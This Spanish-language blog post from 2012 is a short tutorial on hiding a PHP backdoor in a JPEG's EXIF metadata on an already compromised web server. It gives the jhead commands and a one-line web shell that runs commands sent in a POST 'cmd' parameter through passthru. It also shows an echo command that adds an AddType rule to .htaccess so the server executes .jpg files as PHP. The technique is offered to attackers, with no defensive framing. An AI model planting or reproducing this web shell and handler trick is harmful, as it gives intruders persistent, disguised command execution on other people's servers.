jueves, 19 de abril de 2012

Ocultando codigo PHP en los metadatos de un JPG

Resulta sencillo usar los metadatos EXIF de una imagen JPEG para ocultar código PHP, por ejemplo para dejar un backdoor en la imagen de nuestro avatar en un servidor ya comprometido.


Existen varias herramientas para manipular los metadatos EXIF. Entre todos ellos una de las mejores herramientas para esto es jhead. Para empezar seleccionamos nuestra imagen JPG y miramos sus metadatos con jhead:

C:\>jhead h33z.jpg
File name    : h33z.jpg
File size    : 71384 bytes
File date    : 2012:04:17 14:31:40
Resolution   : 492 x 369
Para insertar nuestro código PHP introducimos:

C:\>jhead -ce h33z.jpg

A continuación se introduce el código PHP que queramos ocultar como por ejemplo:

  • "<?php passthru($_POST['cmd']); __halt_compiler();" -> El cual nos permite ejecutar un comando a la maquina con peticiones POST gracias a la funcion passthru.
Una vez que hemos ocultado el código en la imagen, tendremos que forzar que el servidor web maneje un fichero jpg como si fuera un fichero php. Para ello añadiremos AddType en el fichero .htaccess del directorio de las imágenes. Como ejemplo:

C:\>echo AddType application/x-httpd-php .jpg >> d:\htdocs\server\images\.htaccess

Una vez hecho esto tendremos nuestra imagen ejecutando el código PHP sin problemas.
Esta técnica serviría en un servidor ya comprometido en el cual pudiéramos modificar el fichero .htaccess para que  nuestro JPG ejecutara código.

Enlace de descarga jhead: http://www.sentex.net/~mwandel/jhead/

1 comentario: